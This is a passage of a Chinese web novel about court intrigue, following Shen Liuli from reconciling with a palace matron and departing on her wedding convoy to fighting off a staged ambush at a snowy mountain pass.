“记住这个味道。”沈琉璃看着她,缓缓说道,“也记住,这套能将人活活困死的规矩。”
“因为从今天起,它们都将成为我们的武器。”
……
一个时辰后,一辆极其普通的马车,悄无声息地停在了,大徽使团下榻的驿馆外。
沈琉璃没有惊动任何人,只带着春桃,提着一个食盒,静静地等候在驿馆的侧门。
不多时,一名负责采买的东宫侍女,提着菜篮从里面走了出来。
“这位姐姐,请留步。”
春桃连忙上前,将她拦了下来。
那侍女本想发作,可当她看到沈琉璃时,脸上却露出了几分惊讶。
“沈……沈大小姐?”
“姐姐不必惊慌。”沈琉璃对着她,盈盈一拜,“我今日前来,并非是为了寻衅滋事。”
“我只是,想为昨日萧将军的鲁莽,向嬷嬷她赔个不是。”
她将手中的食盒,递了上去。
“这里面,是琉璃亲手烹制的一壶‘金丝凤芽’。还望姐姐能代为转交,也替我向嬷嬷,转达我最诚挚的歉意。”
她这番话,说得谦卑恭敬,将自己的姿态放到了最低。
那侍女看着眼前这个,与昨日判若两人的少女,眼中充满了困惑。
她接过食盒,犹豫了片刻,最终还是点了点头。
……
驿馆,上房。
容嬷嬷正独自一人,对着一盏孤灯,静静地发着呆。
萧彻昨日的那番话,如同一根刺,狠狠地扎进了她的心里。
她不明白,自己到底哪里做错了。
她只是在,尽一个奴才的本分罢了。
就在此时,房门被轻轻地敲响。
“进来。”
那名负责采买的侍女,端着一个托盘走了进来。
“嬷嬷,这是……是沈大小姐,托奴婢转交给您的。”
容嬷嬷看着那壶,还冒着热气的茶水,眉头微蹙。
她本想,将这壶茶,连同那个不识好歹的丫头,一同扔出去。
可当她,闻到那股熟悉的,独属于“金丝凤芽”的香气时。
她的手,却没来由地抖了一下。这香气,太纯正了,纯正得,仿佛就是从皇后娘娘平日里最爱的那只紫砂小壶中飘出的。
她挥了挥手,示意那侍女退下。
她独自一人,将那壶茶缓缓斟满一杯。然后端起茶杯,浅呷了一口。
就是这个味道。
水温、火候、茶叶的用量,甚至连出汤的时间,都与她在宫中时,亲手为皇后烹制的那一壶,一般无二。
这绝不是巧合。
这个沈琉璃,她不是在示弱,她是在示威。
她用这种方式告诉自己,你看,你教我的东西,我都学会了。而且,我学得比你想象中还要好。
容嬷嬷的心,竟没来由地生出了一股,棋逢对手的兴奋。
她将那杯茶一饮而尽,随即缓缓地站起身,走到了窗边。
看着远处尚书府的方向,轻轻说道:“有点意思。”
驿馆上房内,早已凉透了的“金丝凤芽”,依旧在桌案上散发着清冽的余香。
容嬷嬷独自一人,在窗边静坐了整整一夜。
天光微亮时,她终于缓缓地站起身,对着门外淡淡地吩咐道。
“来人。”
一名早已等候多时的侍女,快步走了进来。
“嬷嬷,有何吩咐?”
“备车,”容嬷嬷缓缓开口,“回尚书府。”
“还……还回去?”那侍女的脸上,露出了几分不解,“可是,萧将军他……”
“无妨。”容嬷嬷摇了摇头,“太子殿下派来的刀,固然锋利。可有时候,一把太过锋利的刀,也同样容易伤了自己人。”
“我们此行,名为教导,实为试探。如今,该试的也试了,该看的也看了。”她的声音里,带上了几分疲惫,“是时候,该回去了。”
……
当容嬷嬷的车驾,再次出现在晚晴居的门口时。
春桃看着那个,与昨日判若两人,脸上甚至还带上了几分和善笑容的老嬷嬷,只觉得浑身的汗毛都竖了起来。
“小姐,”她躲在沈琉璃的身后,小声地嘀咕道,“这老妖婆,又想做什么妖?她该不会是,吃错药了吧?”
“说什么胡话。”沈琉璃白了她一眼,随即上前一步,对着容嬷嬷,盈盈一拜。
“嬷嬷,您怎么来了?”
“来看看你。”容嬷嬷竟是亲自上前,将她扶起,“昨日是老奴糊涂了,听信了小人谗言,险些误会了大小姐。还望大小姐,莫要与老奴一般见识。”
她这番话,说得情真意切,将自己的姿态放到了最低。
可听在沈琉璃的耳中,却不亚于,最直接的警告。
她在告诉自己,你那些小把戏,我早已看穿。但我选择,不与你计较。
“嬷嬷言重了。”沈琉璃笑了笑,“您是长辈,教训的是。”
接下来的一个时辰,晚晴居内,容嬷嬷,竟真的开始一板一眼地教导起了沈琉璃,大徽宫廷的礼仪规矩。
只是这一次,她不再是高高在上的教官。
而是一个,倾囊相授的老师。
她教她,如何从一个妃嫔的衣着和首饰上,看出她在宫中的地位。
她教她,如何从一道菜的摆盘和口味上,分辨出其中是否暗藏杀机。
甚至,她还教她,如何从皇后娘娘,那看似随意的言语中,听出真正的弦外之音。
她将自己,在这座吃人的宫墙内,摸爬滚打了数十年的生存之道,都毫无保留地,传授给了眼前这个,年仅十六岁的少女。
春桃在一旁听得是目瞪口呆,她怎么也没想到,这宫里的规矩,竟比她们家后院的宅斗,还要复杂百倍!
而沈琉璃,则像是海绵吸水一般,将这些,足以让她在大徽后宫生存的伎俩,都牢牢地刻在了心里。
“好了,”终于,容嬷嬷缓缓地站起身,“今日,便到这里吧。”
“嬷嬷不多坐片刻了吗?”
“不了。”容嬷嬷摇了摇头,“老奴该回去了。”
“沈大小姐,”她在临走前,忽然开口,问道,“你可知,老奴为何要与你说这些?”
“不知。”
“因为,”容嬷嬷看着她,缓缓说道,“老奴在你身上,看到了一个人当年的影子。”
“一个同样惊才绝艳,却最终惨死于宫廷倾轧的女人。”
“老奴不希望,你重蹈她的覆辙。”
“但也同样希望,”她的眼中,闪过了一抹狠戾,“你能替她,将那座早已腐朽不堪的宫墙,给彻底地掀翻!”
她说罢,便不再有半分停留,转身快步离去。
整个晚晴居,只剩下了沈琉璃一人。
她看着窗外那,早已是空无一人的庭院,心中掀起了滔天巨浪。
……
就在容嬷嬷,带着她的人,悄然离开都城的同时。
两份,足以决定沈琉璃未来命运的文书,也已悄无声息地送到了尚书府。
一份,是来自大徽王朝的国书。
国书上,太子君怀瑾用极其华丽的辞藻,盛赞了沈琉璃的贤良淑德,并正式敲定了国婚的最后日期。
就在,一个月后。
而另一份,则是来自乾国皇宫的圣旨。
圣旨上,皇帝李承渊,同样是以最高规格,为沈琉璃准备了一份史无前例的盛大嫁妆。
从金银珠宝,到绫罗绸缎,从田庄铺子,到奴仆护卫,应有尽有!
其规模之宏大,甚至比当年,长公主出嫁时,还要隆重十倍!
圣旨的最后,只有一句,不容抗拒的命令。
“即刻启程,不得有误。”
当这两份文书,一前一后地送到沈琉璃的案头时。
“他娘的!”
在沈琉璃的脑海中,君北玄的咆哮声,轰然炸响!
“君怀瑾!李承渊!这两个混蛋!他们竟敢用这种方式,来逼你?!”
他从未像此刻这般,愤怒过。
这种感觉,就像是自己最心爱的珍宝,被两个自己最讨厌的人,给当着自己的面,肆意地摆布!
“王爷,您先冷静!”沈琉璃在心里,苦笑一声,“您现在发怒,解决不了任何问题。”
“本王如何冷静?!”君北玄怒道,“他们这是在告诉你,你这枚棋子,已经没有利用价值了!他们要将你,从这盘棋局上,彻底地抹去!”
“我知道。”沈琉璃点了点头,她将那两份文书,缓缓地放在了桌上。
她知道,自己已经没有选择了。
乾国这盘棋,她虽然赢了。
可她也同样,输得一败涂地。
她赢得了名声,赢得了财富,甚至赢得了民心。
可她,却输给了那至高无上的皇权。
“那我们现在该怎么办?”
许久,君北玄才缓缓开口。
“怎么办?”他反问道,“你是准备,就这么任由他们摆布,乖乖地嫁入东宫,去当一个,随时都有可能被生吞活剥的太子妃?”
“还是说,”他的声音,陡然拔高,“准备让本王告诉你,一场真正的战争,到底该怎么打?”
沈琉璃的身体,猛地一震!
她缓缓地抬起头,那双早已被迷茫所占据的眼眸,在这一刻重新燃烧起了火焰!
“王爷……”
“闭嘴!”君北玄打断了她,“现在你不是什么‘活菩萨’,也不是什么‘沈大小姐’。”
“你是我君北玄的女人!”
他这句霸道无比的话语,如同一道惊雷,在沈琉璃的心中轰然炸响!
她愣住了,俏脸竟没来由地微微一红。
“而我的女人,”君北玄的声音,继续在她脑海中响起,充满了不容置疑的威严,“在战场上需要做的只有一件事!”
“那便是,赢!”
第124章 启程
这一夜,尚书府灯火通明。
一道道指令,从晚晴居内,悄无声息地发出,如同一张无形的大网,迅速地覆盖了整个乾国都城。
揽月楼所有的流动资金,在一夜之间被尽数抽出。
张启年和他麾下那支,早已被沈琉璃收编的护卫力量,也开始秘密地集结。
而三皇子府,更是在沉寂了数日之后,再次变得门庭若市。无数的官员,借着“送别”的名义,悄然到访。
所有的一切,都在为这场,即将到来的“远征”,做着最后的准备。
第二日,清晨。
当第一缕阳光,穿透晚晴居的窗棂时。
一支由数百辆马车组成的庞大送嫁队伍,已在尚书府的门前,整装待发。
那一眼望不到头的嫁妆,在清冷的晨光下,闪烁着金色的光芒,几乎要将整个朱雀大街都给彻底地堵死。
父亲沈从安,身着一身崭新的官服,早已等候在门口。
他看着那个,从马车上缓缓走下的女儿,眼中充满了复杂的情绪。
“琉璃,”他声音沙哑,“此去大徽,山高路远,万事小心。”
“父亲,”沈琉璃对着他,重重地磕了一个头,“您也多保重。”
她没有再多说什么,只是在春桃的搀扶下,缓缓地走上了,由皇帝亲赐的华丽马车。
车帘落下,隔绝了身后所有的目光。
也同样,隔绝了她在这片土地上,所有的过往。
“启程——!”
随着礼官一声悠长的唱喏,这支堪称乾国百年来,最盛大的送嫁队伍,在无数百姓的注视下,缓缓地启动了。
车轮碾过青石板路,发出了“咯吱咯吱”的声响。
沈琉璃靠在软垫上,听着窗外那,渐行渐远的喧嚣,心中竟没来由地生出了一股,她自己也说不清的情绪。
有不舍,有迷茫,但更多的是一种前所未有的解脱。
乾国这盘棋,她终究还是下完了。
无论输赢,都已落子无悔。
而接下来,她要面对的将是一片,更广阔,也更凶险的天地。
“在想什么?”
君北玄的声音,在她耳边响起,竟是难得地带上了几分温柔。
“没什么。”沈琉璃摇了摇头,“只是觉得,有些不真实。”
“哼,女人。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住,“这算什么?不过是,刚刚走出了新手村罢了。”
“真正的战争,”他的声音,变得冰冷刺骨,“现在,才刚刚开始。”
“小姐!小姐您快看!”
就在此时,春桃那充满了兴奋的声音,忽然从车厢的另一头传来。
她正趴在窗边,一双眼睛瞪得溜圆,小脸上满是惊叹。
“您快看咱们这嫁妆!我的天哪!从街头排到街尾,一眼都望不到头!光是抬箱子的家丁就有好几百人!还有那些金银珠宝,绫罗绸缎,简直比皇宫的国库还要气派!”
她一边说,一边掰着手指头,如数家珍地盘算着:“还有揽月楼的那些商队,也都跟在后面呢!小姐,咱们这次去大徽,是不是要去‘开疆拓土’啊?到时候,您当您的太子妃,奴婢就当您的开路先锋!把玉容膏卖遍整个大徽王朝,让那些大徽的女人,都哭着喊着,求咱们赏她们一张脸!”
看着她这副模样,沈琉璃那颗因为离别而有些沉重的心,竟没来由地轻松了些许。
“你呀,”她哭笑不得地摇了摇头,“真是天塌下来,都耽误不了你那颗想发财的心。”
“那可不!”春桃挺了挺小胸脯,一脸骄傲,“奴婢这叫有备无患!”
车队行至城外十里,在一处名为“长亭”的官驿停了下来,进行最后的补给。
而早已在此等候多时的父亲沈从安,也在一名心腹的引领下,悄无声息地进入了沈琉璃的马车。
“父亲。”
“琉璃。”沈从安看着眼前这个,即将远嫁他乡的女儿,眼睛也忍不住泛起了红。
他没有再多说什么废话,只是从怀中取出了一个盒子,递了上去。
“这是你母亲当年留下的。”他声音沙哑地说道,“她说,待你出嫁之日,便将此物,亲手交到你的手上。”
沈琉璃接过那个盒子,入手微沉。她缓缓地将其打开,里面静静地躺着的,并非什么金银珠宝,而是一枚用整块暖玉雕琢而成的凤凰令牌。
令牌的正面,是一只展翅高飞的凤凰,栩栩如生。而令牌的背面,则刻着一个,极其古老的“沈”字。
“这是……”
“这是我沈家,传承了三百年的‘凤鸣令’。”沈从安看着那枚令牌,眼中充满了追忆,“凭此令,可调动我沈家,在乾国乃至整个江南地区,所有隐藏的势力。”
“他们或许是商贾,或许是游侠,甚至可能是朝堂上某个不起眼的官员。”
“他们是你母亲,为你留下的最后一道防线。”
“琉璃,”他看着女儿,说道,“记住,无论何时,无论何地,都不要轻易相信任何人。”
“包括,君王。”
他说完,便不再有半分停留,转身快步离去。
沈琉璃看着手中的那枚令牌,只觉得自己的心中,也同样是沉甸甸的。
她知道,父亲交给她的不仅仅是一枚令牌。
更是,整个沈家,未来的命运。
……
就在沈从安离去后不久,另一辆马车,也悄无声息地停在了官驿的后门。
车帘掀开,走下来的正是三皇子,李琰。
他没有带任何随从,只着一身素净的常服,脸上带着几分,尚未完全褪去的疲惫。
“表哥。”
“琉璃。”李琰看着她,说道,“你今日,很美。”
“表哥说笑了。”沈琉璃摇了摇头,“倒是你,这几日为了朝堂上的事,怕是又没睡好吧?”
“无妨。”李琰摆了摆手,“大哥虽然倒了,可他留下的那些烂摊子,却还需要时间来一一收拾,尤其是二哥他……”
他说到此处,脸上露出了几分凝重,“他虽然在朝堂上,暂时失了先机。可他,却在另一片我们看不见的战场上,占尽了优势。”
“我知道。”沈琉璃点了点头,“所以,我才更需要表哥你,替我守好这片,我们好不容易才打下来的江山。”
她将一份,早已备好的信,递了上去。
“这里面,是揽月楼未来一年的发展计划,以及,我与‘四海商盟’十三爷之间的联络方式。”她缓缓说道,“从今天起,揽月楼在乾国的所有收益,都将秘密地转入你的名下。”
“我只有一个条件。”
“表妹请讲。”
“若有一日,”她的眼中,闪过了一抹狠戾,“如果我在大徽遭遇不测,我需要你,不惜一切代价,将整个大徽王朝都给我拖入泥潭!”
李琰的心,猛地一震!
他看着表妹,许久,才缓缓地点了点头。
“好。”
他没有再多说什么废话,只是将那封信,郑重地收入怀中。
“此去大徽,山高路远,万事小心。”
“表哥,也多保重。”
当沈琉璃,重新回到马车上时。春桃正趴在一堆,由金丝楠木打造的箱子上,一脸幸福地打着盹。
“小姐!您回来了!”她看到沈琉璃,连忙站起身,擦了擦嘴角的口水,“您是不知道啊,刚才张将军,带我去看了一下咱们这辆马车,我的天哪!这哪里是什么马车,这分明就是一座,会移动的城堡啊!”
她一边说,一边手舞足蹈地,为沈琉理介绍着。
“您看这车壁,都是用北境最坚固的铁桦木做的,里面还夹了三层精钢!张将军说了,便是连军中的制式弓弩,都休想射穿!”
“还有这车底,更是铺了一层厚厚的铁板!下面还藏着八个可以随时更换的车轮!就算是遇到了埋伏,咱们也能,跑得比兔子还快!”
“最厉害的是这个!”她献宝似的,将一个看起来毫不起眼的香炉,捧了上来,“您看,这可不是普通的香炉!这里面,藏着十几种,由顾先生亲手调配的‘秘密武器’!有能让人昏睡三天的迷魂香,有能让人涕泪横流的辣椒散,甚至还有能让人当场毙命的鹤顶红!”
第125章 风雪夜归人
看着春桃这副,恨不得现在就找个人来试试药的模样,沈琉璃也是哭笑不得。
“行了行了,知道你厉害了。”她将那个“杀人香炉”,重新放回了原处,“去把我的那副棋盘,拿过来。”
“是!”
车队,再次缓缓地启动了。
车厢内,沈琉璃独自一人,对着那副,由皇帝亲赐的沉香木棋盘,静静地发着呆。
“怎么?”君北玄的声音,在她耳边响起,“还在为你那个,不成器的表哥担心?”
“不。”沈琉璃摇了摇头,“我只是在想,我们下一步,该怎么走。”
“你以为,君怀瑾派容嬷嬷和萧彻来,真的只是为了给你一个下马威吗?”他继续说道,“他是在试探你,也是在试探我。”
“他想看看,我君北玄选中的女人,到底有几斤几两。”
“也同样想看看,”他的声音,变得无比冰冷,“我这头被困在笼子里的狼,到底还剩下几分,当年的獠牙。”
“所以,”他继续说道,“接下来这一路,怕是不会太平了。”
“王爷的意思是……”
“我的意思是,”君北玄的声音,掷地有声,“从现在起,忘掉你那些上不得台面的小把戏。”
“准备好,打一场真正的硬仗吧。”
车轮滚滚,碾过官道上的积雪,将那座象征着她所有过往的都城,远远地抛在了身后。
是啊,乾国的棋局,已经结束。
而大徽王朝的棋局,才刚刚开始。
她伸出纤细的手指,捻起一枚冰冷的黑子,轻轻地落在了棋盘上,发出一声清脆的声响。
落子,无悔。
送嫁的队伍,在离开乾国都城三十里后,便彻底地改变了行军的节奏。
不再有半分拖沓,不再有半分张扬。
张启年这位曾经执掌京畿卫戍的将军,将他毕生的经验,都用在了这场,看似寻常的送亲之上。
他将整个队伍,按照军中的规制,重新进行了编组。
由他亲自挑选,伪装成普通家丁的五十名精锐老兵,负责队伍最前方的开路与侦察。
揽月楼的商队,则被安置在了队伍的两翼,看似是在护卫嫁妆,实则却是利用他们常年行走江湖的经验,来应对各种突发的状况。
而那支,由皇帝亲赐的三百名禁军,则被客客气气地请到了队伍的最后方,美其名曰殿后,实则却是将他们,彻底地架空了起来。
而那辆由皇帝亲赐,象征着两国邦交颜面的华丽马车,则成了整个队伍的核心。
它被重重护卫在中央,外表金碧辉煌,极尽奢华,内里却早已被张启年的人,改造成了一座坚不可摧的移动堡垒。
沈琉璃与春桃安坐其中,从外面看,与寻常出嫁的贵女并无二致。
“小姐,您这一招‘明修栈道,暗度陈仓’用得可真是太妙了!”
车厢内,春桃一边手脚麻利地为沈琉璃沏着热茶,一边满脸崇拜地说道,“奴婢听说,那些禁军的统领,在看到张将军的安排后,脸都绿了!可他们又挑不出半点错处,只能乖乖地跟在咱们屁股后面吃灰!”
“哼,一群乌合之众罢了。”君北玄的声音,在她脑海中响起。
车队行至第三天,天色渐晚。
一场纷纷扬扬的大雪,将整个天地,都染成了一片素白。
按照张启年的计划,他们今夜,本该在前方二十里外的一处官驿歇脚。
可就在此时,一名负责侦察的老兵,却神色凝重地疾驰而来!
“将军!”他翻身下马,单膝跪地,“前方十里,‘风雪隘口’路被封了!”
“什么?!”张启年的脸色,猛地一变!
“风雪隘口”乃是两国边境,最险要的一处关隘。其地势狭窄,三面环山,只有一条官道可通。
一旦那里被堵住,他们这支庞大的队伍,便等于是被困死在了这片荒无人烟的雪原中!
“是山贼,还是……”
“都不是。”那老兵摇了摇头,声音里带上了几分惊骇,“是雪崩!一场突如其来的雪崩,将整个隘口都给彻底地堵死了!看那积雪的厚度,怕是没个十天半月,根本无法通行!”
这个消息,如同一盆冰水,将所有人心中的那点侥幸,都给浇得干干净净。
“该死!”
张启年勒住马缰,看着前方那白茫茫的一片,脸色阴沉得几乎能滴出水来。
“将军,”他身旁的副将,催马跟上,声音里带着无法掩饰的焦急,“雪崩堵路,前无去路,我们现在该怎么办?是否要即刻绕行‘黑风林’?”
“黑风林?”张启年看了一眼手中的舆图,缓缓地摇了摇头,“那片林子,地势复杂,豺狼虎豹横行,便是连经验最丰富的猎户也不敢轻易涉足。我们这支队伍辎重繁多,一旦进去,便是自寻死路。”
就在所有人都陷入了进退两难的境地时。
沈琉璃悄无声息地出现在了他们的身后,她身着一身素净的衣裙,外罩一件厚实的狐裘披风。
“张将军,”她缓缓开口,“或许,我们不必绕路。”
“哦?”张启年看着她,眼中露出了几分好奇。
“我只是觉得,”沈琉璃看着远处那,被积雪覆盖的隘口,轻声说道,“有时候,最危险的地方,往往也最安全。”
……
半个时辰后,一支“先遣队”,在陆风的带领下,朝着那片死亡之地,摸了过去。
而沈琉璃,则与张启年、萧彻二人,一同登上了附近的一处高地。
“你到底想做什么?”萧彻看着她,眼中充满了不解,“你该不会是想,凭着这几十号人,就将那座雪山给搬开吧?”
“我自然没有那个本事。”沈琉璃摇了摇头,“我只是想看看,这场‘天灾’的背后,到底藏着多少‘人祸’。”
……
风雪隘口,一片死寂。
厚厚的积雪,如同棉被一般,将整个山谷都给覆盖了起来。
陆风和他手下的狼卫,在雪地里潜行。
很快,他们便发现了异常。
“统领,您看这个!”
一名狼卫从雪地里挖出了一样东西,那是一截被烧成了焦炭的木桩!
而在木桩的旁边,还散落着几枚,只有军中才会使用的火油弹残骸!
“果然是人为。”陆风的眼中,闪过了一抹冰冷的寒光。
他没有再多说什么,只是对着身后的狼卫,打了一个手势。
继续前进。
……
与此同时,在高地上。
沈琉璃正举着一只,由顾九特制的单筒望远镜,仔细地观察着隘口内的一举一动。
“看到了吗?”君北玄的声音,在她脑海中响起,“在隘口的两侧山壁上,至少埋伏了三百名弓箭手!他们的身上,都穿着与积雪颜色相近的伪装服。若非本王,对战场上的气味极其敏锐,怕是连我们,都要被他们给骗过去了。”
“不仅如此,”他继续说道,“在那片看似平坦的雪地下面,还藏着至少七八处陷阱!”
“好一招‘请君入瓮’。”沈琉璃的眼中,也同样闪过了一抹寒光,“看来,我们这位太子殿下,为了迎接我,还真是下了血本啊。”
就在此时,隘口内忽然传来了一阵,极其轻微的骚动。
只见数十名身着蛮族服饰的“士兵”,竟从雪地里钻了出来!
他们的手中,拿着五花八门的兵器,口中发出“呜哩哇啦”的怪叫,朝着陆风等人的方向,猛地冲了过去!
“蛮族?!”萧彻看着眼前这一幕,眼中充满了不敢置信,“他们怎么会出现在这里?!”
沈琉璃没有立刻回答,她只是将手中的望远镜,递给了萧彻。
“将军,”她平淡地说道,“您再仔细看看,他们身上穿的皮甲,虽然样式模仿了蛮族,可那鞣制的手法,是不是很眼熟?”
萧彻闻言,立刻夺过望远镜!
只看了一眼,他就明白了,那分明是大徽北境军中,后勤营独有的手艺!
“他……他竟敢?!”萧彻的声音都在发颤。
“他当然敢。”沈琉璃冷冷地说道,“他要用一场‘未来太子妃在边境遭遇蛮族伏击’的假象,将所有人的目光都引向北境!引向那个,早已被他视为眼中钉的七弟!”
“届时,您这位护卫不力的将军,固然难辞其咎。可真正要背上这口‘通敌叛国’黑锅的,却是百口莫辩的肃王殿下!”
“而您,”沈琉璃收回目光,看着他,“不过是他这盘棋上,一枚用来混淆视听,随时可以被牺牲的弃子罢了。”
萧彻一直以为,自己是君怀瑾手中的刀,是一头被放出囚笼的疯狼!
却不想到头来,竟只是一个被用来栽赃对头的工具而已!
这比直接杀了他,还要让他感到屈辱!
“将军,”沈琉璃看着他,“现在,您还觉得,这是一场与您无关的战争吗?”
萧彻没有说话,他只是缓缓地举起了自己手中的断头刀。
“传我将令!”他的声音,如同九幽下的寒冰,“所有人,准备战斗!”
“今夜,”他的眼中,燃烧着熊熊的烈火,“老子要让君怀瑾那个混蛋,清清楚楚地看到!”
“我萧彻的刀,到底还能不能杀人!”
第126章 隘口之战
风雪隘口,杀气与寒气交织,将这片雪原变成了一座血色的修罗场。
萧彻的嘶吼,如同点燃火药桶的引信,瞬间引爆了高地上早已剑拔弩张的气氛。
他没有再多说一个字,提着那柄断头刀,转身便要朝着山下冲去,那副模样,竟是想凭一人之力,去冲击敌方数百人的埋伏圈!
“站住!”
一声沉稳的暴喝,从他身后传来。
张启年手持长刀,快步上前,将他拦了下来。
“萧将军!”他看着眼前这个,被愤怒冲昏了头脑的疯子,沉声说道,“敌暗我明,对方兵力数倍于我,又有地利之优。你现在就这么冲下去,与送死何异?!”
“送死?”萧彻笑了,“老子当年在‘黑石关’下,带着三千人,就敢冲三万人的蛮族大营!如今不过是区区几百个,藏头露尾的鼠辈罢了,也配让老子怕死?!”
“我不是让你怕死!”张启年怒道,“我是让你用脑子!我们现在是一条绳上的蚂蚱!你若是死了,谁来护卫大小姐周全?!谁来为我们这几百号兄弟,杀出一条血路?!”
“那依你之见,该当如何?”萧彻的眼中,闪过了一抹讥讽,“难不成,就学你乾国那些缩头乌龟,在这里等着,将我们给活活冻死吗?!”
“你!”
眼看这两位同样出身军旅,却又同样高傲的将军,就要在这阵前,先上演一出“将帅失和”的戏码。
一个清冷的声音,从他们身后不紧不慢地响了起来。
“二位将军,不必再争了。”
是沈琉璃。
她不知何时,走到了他们的身后,她的脸上没有半分慌乱。
“两军交战,最忌讳的便是阵前内讧。”君北玄对眼前这场闹剧充满了不屑:“这张启年虽然有几分将才,却终究是太过稳重,失了锐气。至于萧彻这个混蛋,他还是跟当年一样,一根筋,不知变通。”
“王爷,”沈琉璃在心里,平静地回应,“我现在需要的不是两个言听计从的傀儡。”
“而是一个,能为我守住阵脚的盾。”
“和一个,能为我撕开敌人防线的矛。”
她将目光,投向了眼前这两个,还在大眼瞪小眼的男人。
“张将军,”她先将目光投向了张启年,“您说的对,敌众我寡,固守待援,方为上策。”
“我需要您,立刻带上我们的人,以三辆主车为核心,在隘口外,布下一个‘品’字形的防御阵!”
“记住,”她的声音,变得无比坚定,“无论发生什么,都绝不能让任何一个敌人,靠近我的马车半步!”
“是!”张启年虽然不知道,她葫芦里到底卖的什么药,但看着她那不容置疑的眼神,还是点了点头。
“至于萧将军嘛……”
沈琉璃的目光,又转向了那个,一脸不耐的“疯狼”。
“我知道,让你在这里干等着,比杀了你还难受。”她缓缓说道,“所以,我给你一个,可以亲手将君怀瑾的脸,给打烂的机会。”
“哦?”萧彻来了兴趣。
“你看那里。”沈琉璃伸出纤纤玉手,指着隘口左侧,一处看起来极其陡峭的悬崖。
“那里的守卫,最为薄弱。”她继续说道,“我需要你,亲率五十名好手,从那里摸上去。”
“然后,”她的眼中,闪过了一抹狠戾,“在最关键的时候,给我像一把尖刀一样,狠狠地插进他们的心脏!”
“你……”萧彻看着她,眼中充满了不敢置信,“你让老子去偷袭?!”
“将军,”沈琉璃看着他,缓缓说道,“有时候,最锋利的刀,并非是用来正面劈砍的。”
“而是要,用在敌人最意想不到的地方,给予他最致命的一击。”
她这番话,说得极其平静,却让萧彻的心,没来由地狠狠一颤。
他看着沈琉璃,许久,才从牙缝里挤出了一个字。
“……好。”
……
半个时辰后,一场无声的厮杀,在风雪隘口,正式拉开了帷幕!
张启年不愧是执掌京畿卫戍多年的老将,在他的指挥下,数百名护卫,以三辆早已被改造过的马车为核心,迅速地布下了一个,进可攻,退可守的防御阵!
无数的拒马和陷阱,被悄无声息地埋在了阵前雪地下面!
而那些,本以为胜券在握的“蛮族”死士,在发起了数次试探性的冲锋后,皆是被那,如同刺猬一般的防御阵,给硬生生地挡了回来!
“他娘的!”
隘口两侧的山壁上,一名负责指挥的黑衣头目,看着眼前这,完全出乎了他预料的战局,忍不住骂了一句,“这群乾国人,怎么跟缩头乌龟似的?!告诉下面的人,别再试探了!给老子全力进攻!天黑之前,若是还拿不下那个女人的脑袋,咱们都提头去见殿下!”
随着他一声令下,战鼓声,瞬间响彻了整个山谷!
数以百计的“蛮族”死士,从隘口的两侧,疯狂地涌出!
他们的眼中,没有半分惧色,只有疯狂!
“放箭!”
张启年站在马车顶上,手中的令旗,猛地向下一挥!
一瞬间,箭如雨下!
无数的惨叫声,在寂静的雪夜中,此起彼伏!
然而,那些死士,却像是感觉不到疼痛一般,依旧是悍不畏死地,朝着沈琉璃她们的防御,猛地冲了过来!
……
与此同时,另一场更加凶险的博弈,也正在隘口的另一侧,悄然上演。
萧彻,带着他亲手挑选的五十名精锐,如同壁虎一般,紧贴着陡峭的悬崖,悄无声息地向上攀爬。
他们的每一步,都走得极其小心。
因为他们不仅要躲避,从山顶上滚落的碎石,更要提防,那些隐藏在暗处,随时都有可能发动致命一击的暗哨!
“将军,”他身旁的一名将领,看着眼前这,近乎于垂直的峭壁,忍不住低声问道,“我们真的要从这里上去吗?这简直就是在送死啊!”
“闭嘴!”萧彻低喝一声,眼中闪过了一抹狠戾,“怕死,就给老子滚回去!”
他说着,不再有半分犹豫,手中的飞爪猛地向上一甩,精准地勾住了一块凸起的岩石!
随即,他整个人便如同猿猴一般,借着绳索的力量,向上荡去!
他要用这种,最直接的方式,告诉所有人!
他萧彻的字典里,从来就没有“后退”二字!
……
就在隘口内外,都陷入了血与火的交锋时。
沈琉璃的马车内,却是一片,截然相反的景象。
春桃早已吓得,将自己整个人都缩在了软垫的后面,只敢露出一双惊恐的眼睛,透过车帘的缝隙,偷偷地观察着外面的景象。
她的手中,还死死地攥着由顾九特制的“杀人香炉”,那副模样,像一只随时准备与敌人同归于尽的小兔子。
而沈琉璃,则静静地坐在棋盘前。
她的手中,捻着一枚冰冷的黑子,久久没有落下。
“怎么?”君北玄的声音,在她耳边响起,“怕了?”
“不。”沈琉璃摇了摇头,“我只是在想,我们是不是,还忽略了什么。”
“哦?”
“君怀瑾此人,虽然自负,却也并非蠢货。”她看着那盘,早已陷入了僵局的棋,轻声说道,“他既然敢在这里,为我们布下如此大的一个局,那便说明,他有绝对的把握,能将我们所有人都留在这里。”
“可现在看来,”她的声音里,带上了几分,连她自己都未曾察觉的困惑,“他这所谓的‘天罗地网’,似乎也并没有,我们想象中那么可怕。”
“你是说……”君北玄也反应了过来,“他在演戏?!”
“我不知道。”沈琉璃摇了摇头,“但我总觉得这场戏的背后,还藏着另一出,我们所有人都没看懂的戏。”
就在此时,一阵极其轻微的“叩叩”声,忽然从她们身下的车底板,响了起来。
春桃被吓得,当场便尖叫了出来!
“谁?!谁在那里?!”
“别怕。”沈琉璃却示意她安静。
她缓缓地蹲下身,将一块伪装成地毯的木板,轻轻地掀开。
只见在马车的夹层里,一个看起来,只有七八岁年纪的小男孩,正一脸惊恐地看着她们。
他的身上,穿着一件,早已被鲜血浸透的夜行衣。
而在他的怀里,则死死地抱着一个,用油布包裹得严严实实的铁盒!
“你……你是谁?!”春桃看着他,声音都在发颤。
那小男孩没有说话,他只是将那个铁盒,奋力地举了上来。
随即,他整个人便像是被抽去了所有力气,猛地向后一软,昏死了过去!
沈琉璃的心,猛地一紧!
她没有再有半分犹豫,一把将那个铁盒,拿了上来!
铁盒打开,是一封,由大徽太子君怀瑾,亲笔所写的信!
春桃早已吓得忘记了哭泣,她看着这个生死不知的小男孩,心里充满了恐惧。
第127章 死战
“小……姐……”她的声音都在发颤,“这到底是怎么回事啊?这个孩子是谁?这封信……”
“别问。”
沈琉璃打断了她,声音冷静得可怕。
她没有立刻去打开那封信,而是将目光投向了那个昏迷不醒的小男孩。
她伸出手,轻轻地探了探他的鼻息。
还好,虽然微弱,但还有气。
“哼,”君北玄的声音,在她脑海中响起,“一个来历不明的小野种罢了,是死是活,与我们何干?你现在要做的,是看看君怀瑾那个混蛋,到底又在玩什么花样!”
“王爷,”沈琉璃在心里,平静地回应,“您说的有道理,但我做不到。”
她没有再理会君北玄,而是将小男孩,小心翼翼地抱了起来,放在了软垫上。
她撕开自己的裙摆,用最快的速度,为他暂时包扎住了身上的伤口。
